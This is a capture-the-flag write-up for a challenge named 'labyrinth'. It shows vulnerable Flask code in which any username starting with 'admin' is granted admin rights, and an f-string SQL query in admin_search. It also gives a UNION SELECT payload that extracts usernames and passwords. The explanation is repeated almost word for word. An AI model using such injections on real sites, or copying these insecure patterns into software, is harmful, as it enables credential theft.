labyrinth
SRC: https://library.m0unt41n.ch/challenges/labyrinth
This is quiet the easy challenge, with multiple solutions... the most interesting exploitation path is bypassing the admin permission check too the abuse the SQL injection within admin_search.
So theres 3 interesting functions:
1. register, it checks if the username starts with admin, if so the user is marked as admin.
2. search has an obvious SQL injection where id = {query}" but its not abuseable due too the casting too an int. query = int(request.args.get("query"))
3. admin_search has the same sql injection like {query}" but without the restriction with the int casting.
Now we just need too build the correct payload too extract the password -> flag of bob.
A Union attack is the easiest, we just need to make sure too select as many fields as the actual query does.
"test" OR 1=1 UNION SELECT username, password, NULL FROM users --
SRC: https://library.m0unt41n.ch/challenges/labyrinth
This is quiet the easy challenge, with multiple solutions... the most interesting exploitation path is bypassing the admin permission check too the abuse the SQL injection within admin_search.
So theres 3 interesting functions:
1. register, it checks if the username starts with admin, if so the user is marked as admin.
2. search has an obvious SQL injection where id = {query}" but its not abuseable due too the casting too an int. query = int(request.args.get("query"))
3. admin_search has the same sql injection like {query}" but without the restriction with the int casting.
Python:
@app.route("/register")
def register():
sql = get_sql()
username = request.args.get("username")
password = request.args.get("password")
is_admin = username.startswith("admin")
is_in_use = sql.execute("select * from users where username = ?", [username])
if len(list(is_in_use)) > 0:
return "username already in use!"
insert_user(username, password, is_admin)
return "success"
@app.route("/search")
def search():
query = int(request.args.get("query"))
sql = get_sql()
result = sql.execute(f"select url, title, description from articles where id = {query}")
return json.dumps({"search": list(result)})
@app.route("/admin_search")
def admin_search():
user = current_user()
if not user:
return "requires login"
if not user.is_admin:
return "not admin"
query = request.args.get("query")
sql = get_sql()
result = sql.execute(f"select url, title, description from articles where title like {query}")
return json.dumps({"admin_search": list(result)})
A Union attack is the easiest, we just need to make sure too select as many fields as the actual query does.
"test" OR 1=1 UNION SELECT username, password, NULL FROM users --